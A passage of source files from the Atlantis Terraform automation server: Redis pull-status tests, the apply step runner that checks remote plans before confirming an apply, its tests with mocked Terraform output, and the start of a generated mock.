rdb.GetPullStatus(pull) Ok(t, err) // Test both the pull state returned from the update call *and* the getCommandLock // call. for _, s := range []models.PullStatus{updateStatus, *getStatus} { Equals(t, pull, s.Pull) Equals(t, []models.ProjectStatus{ { RepoRelDir: "mergeme", Workspace: "default", Status: models.AppliedPlanStatus, }, { RepoRelDir: "projectname", Workspace: "default", ProjectName: "projectname", Status: models.ErroredApplyStatus, }, { RepoRelDir: "staythesame", Workspace: "default", Status: models.PlannedPlanStatus, }, { RepoRelDir: "newresult", Workspace: "default", Status: models.AppliedPlanStatus, }, }, updateStatus.Projects) } } // Test that if we update one existing policy status via approve_policies and our new status is for a // the same commit, that we merge the statuses. func TestPullStatus_UpdateMerge_ApprovePolicies(t *testing.T) { s := miniredis.RunT(t) rdb := newTestRedis(s) pull := models.PullRequest{ Num: 1, HeadCommit: "sha", URL: "url", HeadBranch: "head", BaseBranch: "base", Author: "lkysow", State: models.OpenPullState, BaseRepo: models.Repo{ FullName: "runatlantis/atlantis", Owner: "runatlantis", Name: "atlantis", CloneURL: "clone-url", SanitizedCloneURL: "clone-url", VCSHost: models.VCSHost{ Hostname: "github.com", Type: models.Github, }, }, } _, err := rdb.UpdatePullWithResults( pull, []command.ProjectResult{ { Command: command.PolicyCheck, RepoRelDir: "mergeme", Workspace: "default", ProjectCommandOutput: command.ProjectCommandOutput{ Failure: "policy failure", PolicyCheckResults: &models.PolicyCheckResults{ PolicySetResults: []models.PolicySetResult{ { PolicySetName: "policy1", ReqApprovals: 1, }, }, }, }, }, { Command: command.PolicyCheck, RepoRelDir: "projectname", Workspace: "default", ProjectName: "projectname", ProjectCommandOutput: command.ProjectCommandOutput{ Failure: "policy failure", PolicyCheckResults: &models.PolicyCheckResults{ PolicySetResults: []models.PolicySetResult{ { PolicySetName: "policy1", ReqApprovals: 1, }, }, }, }, }, }) Ok(t, err) updateStatus, err := rdb.UpdatePullWithResults(pull, []command.ProjectResult{ { Command: command.ApprovePolicies, RepoRelDir: "mergeme", Workspace: "default", ProjectCommandOutput: command.ProjectCommandOutput{ PolicyCheckResults: &models.PolicyCheckResults{ PolicySetResults: []models.PolicySetResult{ { PolicySetName: "policy1", ReqApprovals: 1, CurApprovals: 1, }, }, }, }, }, }) Ok(t, err) getStatus, err := rdb.GetPullStatus(pull) Ok(t, err) // Test both the pull state returned from the update call *and* the getCommandLock // call. for _, s := range []models.PullStatus{updateStatus, *getStatus} { Equals(t, pull, s.Pull) Equals(t, []models.ProjectStatus{ { RepoRelDir: "mergeme", Workspace: "default", Status: models.PassedPolicyCheckStatus, PolicyStatus: []models.PolicySetStatus{ { PolicySetName: "policy1", Approvals: 1, }, }, }, { RepoRelDir: "projectname", Workspace: "default", ProjectName: "projectname", Status: models.ErroredPolicyCheckStatus, PolicyStatus: []models.PolicySetStatus{ { PolicySetName: "policy1", Approvals: 0, }, }, }, }, updateStatus.Projects) } } func newTestRedis(mr *miniredis.Miniredis) *redis.RedisDB { r, err := redis.New(mr.Host(), mr.Server().Addr().Port, "", false, false, 0) if err != nil { panic(fmt.Errorf("failed to create test redis client: %w", err)) } return r } func newTestRedisTLS(mr *miniredis.Miniredis) *redis.RedisDB { r, err := redis.New(mr.Host(), mr.Server().Addr().Port, "", true, true, 0) if err != nil { panic(fmt.Errorf("failed to create test redis client: %w", err)) } return r } func generateLocalhostCert() ([]byte, []byte, error) { var err error priv, err := rsa.GenerateKey(rand.Reader, 2048) if err != nil { return nil, nil, err } keyBytes, err := x509.MarshalPKCS8PrivateKey(priv) if err != nil { return nil, keyBytes, err } serialNumber, err := rand.Int(rand.Reader, new(big.Int).Lsh(big.NewInt(1), 128)) if err != nil { return nil, keyBytes, err } notBefore := time.Now() template := x509.Certificate{ SerialNumber: serialNumber, Subject: pkix.Name{ Organization: []string{"Atlantis Test Suite"}, }, NotBefore: notBefore, NotAfter: notBefore.Add(time.Hour), KeyUsage: x509.KeyUsageDigitalSignature | x509.KeyUsageKeyEncipherment, ExtKeyUsage: []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth}, IPAddresses: []net.IP{net.ParseIP("127.0.0.1")}, } certBytes, err := x509.CreateCertificate(rand.Reader, &template, &template, &priv.PublicKey, priv) return certBytes, keyBytes, err } ================================================ FILE: server/core/runtime/apply_step_runner.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package runtime import ( "errors" "fmt" "os" "path/filepath" "reflect" "slices" "strings" version "github.com/hashicorp/go-version" "github.com/runatlantis/atlantis/server/core/terraform" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/utils" ) // ApplyStepRunner runs `terraform apply`. type ApplyStepRunner struct { TerraformExecutor TerraformExec `validate:"required"` DefaultTFDistribution terraform.Distribution `validate:"required"` DefaultTFVersion *version.Version `validate:"required"` CommitStatusUpdater StatusUpdater `validate:"required"` AsyncTFExec AsyncTFExec `validate:"required"` } func (a *ApplyStepRunner) Run(ctx command.ProjectContext, extraArgs []string, path string, envs map[string]string) (string, error) { if a.hasTargetFlag(ctx, extraArgs) { return "", errors.New("cannot run apply with -target because we are applying an already generated plan. Instead, run -target with atlantis plan") } planPath := filepath.Join(path, GetPlanFilename(ctx.Workspace, ctx.ProjectName)) contents, err := os.ReadFile(planPath) if os.IsNotExist(err) { return "", fmt.Errorf("no plan found at path %q and workspace %q–did you run plan?", ctx.RepoRelDir, ctx.Workspace) } if err != nil { return "", fmt.Errorf("unable to read planfile: %w", err) } ctx.Log.Info("starting apply") var out string tfDistribution := a.DefaultTFDistribution if ctx.TerraformDistribution != nil { tfDistribution = terraform.NewDistribution(*ctx.TerraformDistribution) } tfVersion := a.DefaultTFVersion if ctx.TerraformVersion != nil { tfVersion = ctx.TerraformVersion } // TODO: Leverage PlanTypeStepRunnerDelegate here if IsRemotePlan(contents) { args := append(append([]string{"apply", "-input=false", "-no-color"}, extraArgs...), ctx.EscapedCommentArgs...) out, err = a.runRemoteApply(ctx, args, path, planPath, tfDistribution, tfVersion, envs) if err == nil { out = a.cleanRemoteApplyOutput(out) } } else { // NOTE: we need to quote the plan path because Bitbucket Server can // have spaces in its repo owner names which is part of the path. args := append(append(append([]string{"apply", "-input=false"}, extraArgs...), ctx.EscapedCommentArgs...), fmt.Sprintf("%q", planPath)) out, err = a.TerraformExecutor.RunCommandWithVersion(ctx, path, args, envs, tfDistribution, tfVersion, ctx.Workspace) } // If the apply was successful, delete the plan. if err == nil { ctx.Log.Info("apply successful, deleting planfile") if removeErr := utils.RemoveIgnoreNonExistent(planPath); removeErr != nil { ctx.Log.Warn("failed to delete planfile after successful apply: %s", removeErr) } } return out, err } func (a *ApplyStepRunner) hasTargetFlag(ctx command.ProjectContext, extraArgs []string) bool { isTargetFlag := func(s string) bool { if s == "-target" { return true } split := strings.Split(s, "=") return split[0] == "-target" } if slices.ContainsFunc(ctx.EscapedCommentArgs, isTargetFlag) { return true } return slices.ContainsFunc(extraArgs, isTargetFlag) } // cleanRemoteApplyOutput removes unneeded output like the refresh and plan // phases to make the final comment cleaner. func (a *ApplyStepRunner) cleanRemoteApplyOutput(out string) string { applyStartText := ` Terraform will perform the actions described above. Only 'yes' will be accepted to approve. Enter a value: ` applyStartIdx := strings.Index(out, applyStartText) if applyStartIdx < 0 { return out } return out[applyStartIdx+len(applyStartText):] } // runRemoteApply handles running the apply and performing actions in real-time // as we get the output from the command. // Specifically, we set commit statuses with links to Terraform Enterprise's // UI to view real-time output. // We also check if the plan that's about to be applied matches the one we // printed to the pull request. // We need to do this because remote plan doesn't support -out, so we do a // manual diff. // It also writes "yes" or "no" to the process to confirm the apply. func (a *ApplyStepRunner) runRemoteApply( ctx command.ProjectContext, applyArgs []string, path string, absPlanPath string, tfDistribution terraform.Distribution, tfVersion *version.Version, envs map[string]string) (string, error) { // The planfile contents are needed to ensure that the plan didn't change // between plan and apply phases. planfileBytes, err := os.ReadFile(absPlanPath) if err != nil { return "", fmt.Errorf("reading planfile: %w", err) } // updateStatusF will update the commit status and log any error. updateStatusF := func(status models.CommitStatus, url string) { if err := a.CommitStatusUpdater.UpdateProject(ctx, command.Apply, status, url, nil); err != nil { ctx.Log.Err("unable to update status: %s", err) } } // Start the async command execution. ctx.Log.Debug("starting async tf remote operation") inCh, outCh := a.AsyncTFExec.RunCommandAsync(ctx, filepath.Clean(path), applyArgs, envs, tfDistribution, tfVersion, ctx.Workspace) var lines []string nextLineIsRunURL := false var runURL string var planChangedErr error for line := range outCh { if line.Err != nil { err = line.Err break } lines = append(lines, line.Line) // Here we're checking for the run url and updating the status // if found. if line.Line == lineBeforeRunURL { nextLineIsRunURL = true } else if nextLineIsRunURL { runURL = strings.TrimSpace(line.Line) ctx.Log.Debug("remote run url found, updating commit status") updateStatusF(models.PendingCommitStatus, runURL) nextLineIsRunURL = false } // If the plan is complete and it's waiting for us to verify the apply, // check if the plan is the same and if so, input "yes". if a.atConfirmApplyPrompt(lines) { ctx.Log.Debug("remote apply is waiting for confirmation") // Check if the plan is as expected. planChangedErr = a.remotePlanChanged(string(planfileBytes), strings.Join(lines, "\n"), tfVersion) if planChangedErr != nil { ctx.Log.Err("plan generated during apply does not match expected plan, aborting") inCh <- "no\n" // Need to continue so we read all the lines, otherwise channel // sender (in TerraformClient) will block indefinitely waiting // for us to read. continue } ctx.Log.Debug("plan generated during apply matches expected plan, continuing") inCh <- "yes\n" } } ctx.Log.Debug("async tf remote operation complete") output := strings.Join(lines, "\n") if planChangedErr != nil { updateStatusF(models.FailedCommitStatus, runURL) // The output isn't important if the plans don't match so we just // discard it. return "", planChangedErr } if err != nil { updateStatusF(models.FailedCommitStatus, runURL) } else { updateStatusF(models.SuccessCommitStatus, runURL) } return output, err } // remotePlanChanged checks if the plan generated during the plan phase matches // the one we're about to apply in the apply phase. // If the plans don't match, it returns an error with a diff of the two plans // that can be printed to the pull request. func (a *ApplyStepRunner) remotePlanChanged(planfileContents string, applyOut string, tfVersion *version.Version) error { output := StripRefreshingFromPlanOutput(applyOut, tfVersion) // Strip plan output after the prompt to execute the plan. planEndIdx := strings.Index(output, "Do you want to perform these actions in workspace \"") if planEndIdx < 0 { return fmt.Errorf("couldn't find plan end when parsing apply output:\n%q", applyOut) } currPlan := strings.TrimSpace(output[:planEndIdx]) // Ensure we strip the remoteOpsHeader from the plan contents so the // comparison is fair. We add this header in the plan phase so we can // identify that this planfile came from a remote plan. expPlan := strings.TrimSpace(planfileContents[len(remoteOpsHeader):]) if currPlan != expPlan { return fmt.Errorf(planChangedErrFmt, expPlan, currPlan) } return nil } // atConfirmApplyPrompt returns true if the apply is at the "confirm this apply" step. // This is determined by looking at the current command output provided by // applyLines. func (a *ApplyStepRunner) atConfirmApplyPrompt(applyLines []string) bool { waitingMatchLines := strings.Split(waitingForConfirmation, "\n") return len(applyLines) >= len(waitingMatchLines) && reflect.DeepEqual(applyLines[len(applyLines)-len(waitingMatchLines):], waitingMatchLines) } // planChangedErrFmt is the error we print to pull requests when the plan changed // between remote terraform plan and apply phases. var planChangedErrFmt = `Plan generated during apply phase did not match plan generated during plan phase. Aborting apply. Expected Plan: %s ************************************************** Actual Plan: %s ************************************************** This likely occurred because someone applied a change to this state in-between your plan and apply commands. To resolve, re-run plan.` // waitingForConfirmation is what is printed during a remote apply when // terraform is waiting for confirmation to apply the plan. var waitingForConfirmation = ` Terraform will perform the actions described above. Only 'yes' will be accepted to approve.` ================================================ FILE: server/core/runtime/apply_step_runner_internal_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package runtime import ( "testing" . "github.com/runatlantis/atlantis/testing" ) func TestCleanRemoteOpOutput(t *testing.T) { cases := []struct { out string exp string }{ { ` Running apply in the remote backend. Output will stream here. Pressing Ctrl-C will cancel the remote apply if its still pending. If the apply started it will stop streaming the logs, but will not stop the apply running remotely. Preparing the remote apply... To view this run in a browser, visit: https://app.terraform.io/app/lkysow-enterprises/atlantis-tfe-test-dir2/runs/run-BCzC79gMDNmGU76T Waiting for the plan to start... Terraform v0.11.11 Configuring remote state backend... Initializing Terraform configuration... 2019/02/27 21:47:23 [DEBUG] Using modified User-Agent: Terraform/0.11.11 TFE/d161c1b Refreshing Terraform state in-memory prior to plan... The refreshed state will be used to calculate this plan, but will not be persisted to local or remote state storage. null_resource.dir2[1]: Refreshing state... (ID: 8554368366766418126) null_resource.dir2: Refreshing state... (ID: 8492616078576984857) ------------------------------------------------------------------------ An execution plan has been generated and is shown below. Resource actions are indicated with the following symbols: - destroy Terraform will perform the following actions: - null_resource.dir2[1] Plan: 0 to add, 0 to change, 1 to destroy. Do you want to perform these actions in workspace "atlantis-tfe-test-dir2"? Terraform will perform the actions described above. Only 'yes' will be accepted to approve. Enter a value: 2019/02/27 21:47:36 [DEBUG] Using modified User-Agent: Terraform/0.11.11 TFE/d161c1b null_resource.dir2[1]: Destroying... (ID: 8554368366766418126) null_resource.dir2[1]: Destruction complete after 0s Apply complete! Resources: 0 added, 0 changed, 1 destroyed. `, `2019/02/27 21:47:36 [DEBUG] Using modified User-Agent: Terraform/0.11.11 TFE/d161c1b null_resource.dir2[1]: Destroying... (ID: 8554368366766418126) null_resource.dir2[1]: Destruction complete after 0s Apply complete! Resources: 0 added, 0 changed, 1 destroyed. `, }, { "nodelim", "nodelim", }, } for _, c := range cases { t.Run(c.exp, func(t *testing.T) { a := ApplyStepRunner{} Equals(t, c.exp, a.cleanRemoteApplyOutput(c.out)) }) } } // Test: works normally, sends yes, updates run urls // Test: if plans don't match, sends no ================================================ FILE: server/core/runtime/apply_step_runner_test.go ================================================ // Copyright 2025 The Atlantis Authors // SPDX-License-Identifier: Apache-2.0 package runtime_test import ( "errors" "fmt" "os" "path/filepath" "strings" "sync" "testing" version "github.com/hashicorp/go-version" . "github.com/petergtz/pegomock/v4" "github.com/runatlantis/atlantis/server/core/runtime" runtimemocks "github.com/runatlantis/atlantis/server/core/runtime/mocks" runtimemodels "github.com/runatlantis/atlantis/server/core/runtime/models" tf "github.com/runatlantis/atlantis/server/core/terraform" "github.com/runatlantis/atlantis/server/core/terraform/mocks" tfclientmocks "github.com/runatlantis/atlantis/server/core/terraform/tfclient/mocks" "github.com/runatlantis/atlantis/server/events/command" "github.com/runatlantis/atlantis/server/events/models" "github.com/runatlantis/atlantis/server/logging" . "github.com/runatlantis/atlantis/testing" ) func TestRun_NoDir(t *testing.T) { o := runtime.ApplyStepRunner{ TerraformExecutor: nil, } _, err := o.Run(command.ProjectContext{ RepoRelDir: ".", Workspace: "workspace", }, nil, "/nonexistent/path", map[string]string(nil)) ErrEquals(t, "no plan found at path \".\" and workspace \"workspace\"–did you run plan?", err) } func TestRun_NoPlanFile(t *testing.T) { tmpDir := t.TempDir() o := runtime.ApplyStepRunner{ TerraformExecutor: nil, } _, err := o.Run(command.ProjectContext{ RepoRelDir: ".", Workspace: "workspace", }, nil, tmpDir, map[string]string(nil)) ErrEquals(t, "no plan found at path \".\" and workspace \"workspace\"–did you run plan?", err) } func TestRun_Success(t *testing.T) { tmpDir := t.TempDir() planPath := filepath.Join(tmpDir, "workspace.tfplan") err := os.WriteFile(planPath, nil, 0600) logger := logging.NewNoopLogger(t) ctx := command.ProjectContext{ Log: logger, Workspace: "workspace", RepoRelDir: ".", EscapedCommentArgs: []string{"comment", "args"}, } Ok(t, err) RegisterMockTestingT(t) terraform := tfclientmocks.NewMockClient() mockDownloader := mocks.NewMockDownloader() tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) o := runtime.ApplyStepRunner{ TerraformExecutor: terraform, DefaultTFDistribution: tfDistribution, } When(terraform.RunCommandWithVersion(Any[command.ProjectContext](), Any[string](), Any[[]string](), Any[map[string]string](), Any[tf.Distribution](), Any[*version.Version](), Any[string]())). ThenReturn("output", nil) output, err := o.Run(ctx, []string{"extra", "args"}, tmpDir, map[string]string(nil)) Ok(t, err) Equals(t, "output", output) terraform.VerifyWasCalledOnce().RunCommandWithVersion(ctx, tmpDir, []string{"apply", "-input=false", "extra", "args", "comment", "args", fmt.Sprintf("%q", planPath)}, map[string]string(nil), tfDistribution, nil, "workspace") _, err = os.Stat(planPath) Assert(t, os.IsNotExist(err), "planfile should be deleted") } func TestRun_AppliesCorrectProjectPlan(t *testing.T) { // When running for a project, the planfile has a different name. tmpDir := t.TempDir() planPath := filepath.Join(tmpDir, "projectname-default.tfplan") err := os.WriteFile(planPath, nil, 0600) logger := logging.NewNoopLogger(t) ctx := command.ProjectContext{ Log: logger, Workspace: "default", RepoRelDir: ".", ProjectName: "projectname", EscapedCommentArgs: []string{"comment", "args"}, } Ok(t, err) RegisterMockTestingT(t) terraform := tfclientmocks.NewMockClient() mockDownloader := mocks.NewMockDownloader() tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) o := runtime.ApplyStepRunner{ TerraformExecutor: terraform, DefaultTFDistribution: tfDistribution, } When(terraform.RunCommandWithVersion(Any[command.ProjectContext](), Any[string](), Any[[]string](), Any[map[string]string](), Any[tf.Distribution](), Any[*version.Version](), Any[string]())). ThenReturn("output", nil) output, err := o.Run(ctx, []string{"extra", "args"}, tmpDir, map[string]string(nil)) Ok(t, err) Equals(t, "output", output) terraform.VerifyWasCalledOnce().RunCommandWithVersion(ctx, tmpDir, []string{"apply", "-input=false", "extra", "args", "comment", "args", fmt.Sprintf("%q", planPath)}, map[string]string(nil), tfDistribution, nil, "default") _, err = os.Stat(planPath) Assert(t, os.IsNotExist(err), "planfile should be deleted") } func TestApplyStepRunner_TestRun_UsesConfiguredTFVersion(t *testing.T) { tmpDir := t.TempDir() planPath := filepath.Join(tmpDir, "workspace.tfplan") err := os.WriteFile(planPath, nil, 0600) Ok(t, err) logger := logging.NewNoopLogger(t) tfVersion, _ := version.NewVersion("0.11.0") ctx := command.ProjectContext{ Workspace: "workspace", RepoRelDir: ".", EscapedCommentArgs: []string{"comment", "args"}, TerraformVersion: tfVersion, Log: logger, } RegisterMockTestingT(t) terraform := tfclientmocks.NewMockClient() mockDownloader := mocks.NewMockDownloader() tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) o := runtime.ApplyStepRunner{ TerraformExecutor: terraform, DefaultTFDistribution: tfDistribution, } When(terraform.RunCommandWithVersion(Any[command.ProjectContext](), Any[string](), Any[[]string](), Any[map[string]string](), Any[tf.Distribution](), Any[*version.Version](), Any[string]())). ThenReturn("output", nil) output, err := o.Run(ctx, []string{"extra", "args"}, tmpDir, map[string]string(nil)) Ok(t, err) Equals(t, "output", output) terraform.VerifyWasCalledOnce().RunCommandWithVersion(ctx, tmpDir, []string{"apply", "-input=false", "extra", "args", "comment", "args", fmt.Sprintf("%q", planPath)}, map[string]string(nil), tfDistribution, tfVersion, "workspace") _, err = os.Stat(planPath) Assert(t, os.IsNotExist(err), "planfile should be deleted") } func TestApplyStepRunner_TestRun_UsesConfiguredDistribution(t *testing.T) { tmpDir := t.TempDir() planPath := filepath.Join(tmpDir, "workspace.tfplan") err := os.WriteFile(planPath, nil, 0600) Ok(t, err) logger := logging.NewNoopLogger(t) mockDownloader := mocks.NewMockDownloader() tfDistribution := tf.NewDistributionTerraformWithDownloader(mockDownloader) tfVersion, _ := version.NewVersion("0.11.0") projTFDistribution := "opentofu" ctx := command.ProjectContext{ Workspace: "workspace", RepoRelDir: ".", EscapedCommentArgs: []string{"comment", "args"}, TerraformDistribution: &projTFDistribution, Log: logger, } RegisterMockTestingT(t) terraform := tfclientmocks.NewMockClient() o := runtime.ApplyStepRunner{ TerraformExecutor: terraform, DefaultTFDistribution: tfDistribution, DefaultTFVersion: tfVersion, } When(terraform.RunCommandWithVersion(Any[command.ProjectContext](), Any[string](), Any[[]string](), Any[map[string]string](), NotEq[tf.Distribution](tfDistribution), Any[*version.Version](), Any[string]())). ThenReturn("output", nil) output, err := o.Run(ctx, []string{"extra", "args"}, tmpDir, map[string]string(nil)) Ok(t, err) Equals(t, "output", output) terraform.VerifyWasCalledOnce().RunCommandWithVersion(Eq(ctx), Eq(tmpDir), Eq([]string{"apply", "-input=false", "extra", "args", "comment", "args", fmt.Sprintf("%q", planPath)}), Eq(map[string]string(nil)), NotEq[tf.Distribution](tfDistribution), Eq(tfVersion), Eq("workspace")) _, err = os.Stat(planPath) Assert(t, os.IsNotExist(err), "planfile should be deleted") } // Apply ignores the -target flag when used with a planfile so we should give // an error if it's being used with -target. func TestRun_UsingTarget(t *testing.T) { logger := logging.NewNoopLogger(t) cases := []struct { commentFlags []string extraArgs []string expErr bool }{ { commentFlags: []string{"-target", "mytarget"}, expErr: true, }, { commentFlags: []string{"-target=mytarget"}, expErr: true, }, { extraArgs: []string{"-target", "mytarget"}, expErr: true, }, { extraArgs: []string{"-target=mytarget"}, expErr: true, }, { commentFlags: []string{"-target", "mytarget"}, extraArgs: []string{"-target=mytarget"}, expErr: true, }, // Test false positives. { commentFlags: []string{"-targethahagotcha"}, expErr: false, }, { extraArgs: []string{"-targethahagotcha"}, expErr: false, }, { commentFlags: []string{"-targeted=weird"}, expErr: false, }, { extraArgs: []string{"-targeted=weird"}, expErr: false, }, } RegisterMockTestingT(t) for _, c := range cases { descrip := fmt.Sprintf("comments flags: %s extra args: %s", strings.Join(c.commentFlags, ", "), strings.Join(c.extraArgs, ", ")) t.Run(descrip, func(t *testing.T) { tmpDir := t.TempDir() planPath := filepath.Join(tmpDir, "workspace.tfplan") err := os.WriteFile(planPath, nil, 0600) Ok(t, err) terraform := tfclientmocks.NewMockClient() step := runtime.ApplyStepRunner{ TerraformExecutor: terraform, } output, err := step.Run(command.ProjectContext{ Log: logger, Workspace: "workspace", RepoRelDir: ".", EscapedCommentArgs: c.commentFlags, }, c.extraArgs, tmpDir, map[string]string(nil)) Equals(t, "", output) if c.expErr { ErrEquals(t, "cannot run apply with -target because we are applying an already generated plan. Instead, run -target with atlantis plan", err) } else { Ok(t, err) } }) } } // Test that apply works for remote applies. func TestRun_RemoteApply_Success(t *testing.T) { tmpDir := t.TempDir() planPath := filepath.Join(tmpDir, "workspace.tfplan") planFileContents := ` An execution plan has been generated and is shown below. Resource actions are indicated with the following symbols: - destroy Terraform will perform the following actions: - null_resource.hi[1] Plan: 0 to add, 0 to change, 1 to destroy.` err := os.WriteFile(planPath, []byte("Atlantis: this plan was created by remote ops\n"+planFileContents), 0600) Ok(t, err) RegisterMockTestingT(t) tfOut := fmt.Sprintf(preConfirmOutFmt, planFileContents) + postConfirmOut tfExec := &remoteApplyMock{LinesToSend: tfOut, DoneCh: make(chan bool)} updater := runtimemocks.NewMockStatusUpdater() o := runtime.ApplyStepRunner{ AsyncTFExec: tfExec, CommitStatusUpdater: updater, } tfVersion, _ := version.NewVersion("0.11.0") ctx := command.ProjectContext{ Log: logging.NewNoopLogger(t), Workspace: "workspace", RepoRelDir: ".", EscapedCommentArgs: []string{"comment", "args"}, TerraformVersion: tfVersion, } output, err := o.Run(ctx, []string{"extra", "args"}, tmpDir, map[string]string(nil)) <-tfExec.DoneCh Ok(t, err) Equals(t, "yes\n", tfExec.PassedInput) Equals(t, ` 2019/02/27 21:47:36 [DEBUG] Using modified User-Agent: Terraform/0.11.11 TFE/d161c1b null_resource.dir2[1]: Destroying... (ID: 8554368366766418126) null_resource.dir2[1]: Destruction complete after 0s Apply complete! Resources: 0 added, 0 changed, 1 destroyed. `, output) Equals(t, []string{"apply", "-input=false", "-no-color", "extra", "args", "comment", "args"}, tfExec.CalledArgs) _, err = os.Stat(planPath) Assert(t, os.IsNotExist(err), "planfile should be deleted") // Check that the status was updated with the run url. runURL := "https://app.terraform.io/app/lkysow-enterprises/atlantis-tfe-test-dir2/runs/run-PiDsRYKGcerTttV2" updater.VerifyWasCalledOnce().UpdateProject(ctx, command.Apply, models.PendingCommitStatus, runURL, nil) updater.VerifyWasCalledOnce().UpdateProject(ctx, command.Apply, models.SuccessCommitStatus, runURL, nil) } // Test that if the plan is different, we error out. func TestRun_RemoteApply_PlanChanged(t *testing.T) { tmpDir := t.TempDir() planPath := filepath.Join(tmpDir, "workspace.tfplan") planFileContents := ` An execution plan has been generated and is shown below. Resource actions are indicated with the following symbols: - destroy Terraform will perform the following actions: - null_resource.hi[1] Plan: 0 to add, 0 to change, 1 to destroy.` err := os.WriteFile(planPath, []byte("Atlantis: this plan was created by remote ops\n"+planFileContents), 0600) Ok(t, err) RegisterMockTestingT(t) tfOut := fmt.Sprintf(preConfirmOutFmt, "not the expected plan!") + noConfirmationOut tfExec := &remoteApplyMock{ LinesToSend: tfOut, Err: errors.New("exit status 1"), DoneCh: make(chan bool), } o := runtime.ApplyStepRunner{ AsyncTFExec: tfExec, CommitStatusUpdater: runtimemocks.NewMockStatusUpdater(), } tfVersion, _ := version.NewVersion("0.11.0") output, err := o.Run(command.ProjectContext{ Log: logging.NewNoopLogger(t), Workspace: "workspace", RepoRelDir: ".", EscapedCommentArgs: []string{"comment", "args"}, TerraformVersion: tfVersion, }, []string{"extra", "args"}, tmpDir, map[string]string(nil)) <-tfExec.DoneCh ErrEquals(t, `Plan generated during apply phase did not match plan generated during plan phase. Aborting apply. Expected Plan: An execution plan has been generated and is shown below. Resource actions are indicated with the following symbols: - destroy Terraform will perform the following actions: - null_resource.hi[1] Plan: 0 to add, 0 to change, 1 to destroy. ************************************************** Actual Plan: not the expected plan! ************************************************** This likely occurred because someone applied a change to this state in-between your plan and apply commands. To resolve, re-run plan.`, err) Equals(t, "", output) Equals(t, "no\n", tfExec.PassedInput) // Planfile should not be deleted. _, err = os.Stat(planPath) Ok(t, err) } type remoteApplyMock struct { // LinesToSend will be sent on the channel. LinesToSend string // Err will be sent on the channel after all LinesToSend. Err error // CalledArgs is what args we were called with. CalledArgs []string // PassedInput is set to the last string passed to our input channel. PassedInput string // DoneCh callers should wait on the done channel to ensure we're done. DoneCh chan bool } // RunCommandAsync fakes out running terraform async. func (r *remoteApplyMock) RunCommandAsync(_ command.ProjectContext, _ string, args []string, _ map[string]string, _ tf.Distribution, _ *version.Version, _ string) (chan<- string, <-chan runtimemodels.Line) { r.CalledArgs = args in := make(chan string) out := make(chan runtimemodels.Line) // We use a wait group to ensure our sending and receiving routines have // completed. wg := new(sync.WaitGroup) wg.Add(2) go func() { wg.Wait() // When they're done, we signal the done channel. r.DoneCh <- true }() // Asynchronously process input. go func() { inLine := <-in r.PassedInput = inLine close(in) wg.Done() }() // Asynchronously send the lines we're supposed to. go func() { for line := range strings.SplitSeq(r.LinesToSend, "\n") { out <- runtimemodels.Line{Line: line} } if r.Err != nil { out <- runtimemodels.Line{Err: r.Err} } close(out) wg.Done() }() return in, out } var preConfirmOutFmt = ` Running apply in the remote backend. Output will stream here. Pressing Ctrl-C will cancel the remote apply if its still pending. If the apply started it will stop streaming the logs, but will not stop the apply running remotely. Preparing the remote apply... To view this run in a browser, visit: https://app.terraform.io/app/lkysow-enterprises/atlantis-tfe-test-dir2/runs/run-PiDsRYKGcerTttV2 Waiting for the plan to start... Terraform v0.11.11 Configuring remote state backend... Initializing Terraform configuration... 2019/02/27 21:50:44 [DEBUG] Using modified User-Agent: Terraform/0.11.11 TFE/d161c1b Refreshing Terraform state in-memory prior to plan... The refreshed state will be used to calculate this plan, but will not be persisted to local or remote state storage. null_resource.dir2[0]: Refreshing state... (ID: 8492616078576984857) ------------------------------------------------------------------------ %s Do you want to perform these actions in workspace "atlantis-tfe-test-dir2"? Terraform will perform the actions described above. Only 'yes' will be accepted to approve. Enter a value: ` var postConfirmOut = ` 2019/02/27 21:47:36 [DEBUG] Using modified User-Agent: Terraform/0.11.11 TFE/d161c1b null_resource.dir2[1]: Destroying... (ID: 8554368366766418126) null_resource.dir2[1]: Destruction complete after 0s Apply complete! Resources: 0 added, 0 changed, 1 destroyed. ` var noConfirmationOut = ` Error: Apply discarded. ` ================================================ FILE: server/core/runtime/cache/mocks/mock_key_serializer.go ================================================ // Code generated by pegomock. DO NOT EDIT. // Source: github.com/runatlantis/atlantis/server/core/runtime/cache (interfaces: KeySerializer) package mocks import ( go_version "github.com/hashicorp/go-version" pegomock "github.com/petergtz/pegomock/v4" "reflect" "time" ) type MockKeySerializer struct { fail func(message string, callerSkip ...int) } func NewMockKeySerializer(options ...pegomock.Option) *MockKeySerializer { mock := &MockKeySerializer{} for _, option := range options { option.Apply(mock) } return mock } func (mock *MockKeySerializer) SetFailHandler(fh pegomock.FailHandler) { mock.fail = fh } func (mock *MockKeySerializer) FailHandler() pegomock.FailHandler { return mock.fail } func (mock *MockKeySerializer) Serialize(key *go_version.Version) (string, error) { if mock == nil { panic("mock must not be nil. Use myMock := NewMockKeySerializer().") } _params := []pegomock.Param{key} _result := pegomock.GetGenericMockFrom(mock).Invoke("Serialize", _params, []reflect.Type{reflect.TypeOf((*string)(nil)).Elem(), reflect.TypeOf((*error)(nil)).Elem()}) var _ret0 string var _ret1 error if len(_result) != 0 { if _result[0] != nil { _ret0 = _result[0].(string) } if _result[1] != nil { _ret1 = _result[1].(error) } } return _ret0, _ret1 } func (mock *MockKeySerializer) VerifyWasCalledOnce() *VerifierMockKeySerializer { return &VerifierMockKeySerializer{ mock: mock, invocationCountMatcher: pegomock.Times(1), } } func (mock *MockKeySerializer) VerifyWasCalled(invocationCountMatcher pegomock.InvocationCountMatcher) *VerifierMockKeySerializer { return &VerifierMockKeySerializer{ mock: mock, invocationCountMatcher: invocationCountMatcher, } } func (mock *MockKeySerializer) VerifyWasCalledInOrder(invocationCountMatcher pegomock.InvocationCountMatcher, inOrderContext *pegomock.InOrderContext) *VerifierMockKeySerializer { return &VerifierMockKeySerializer{ mock: mock, invocationCountMatcher: invocationCountMatcher, inOrderContext: inOrderContext, } } func (mock *MockKeySerializer) VerifyWasCalledEventually(invocationCountMatcher 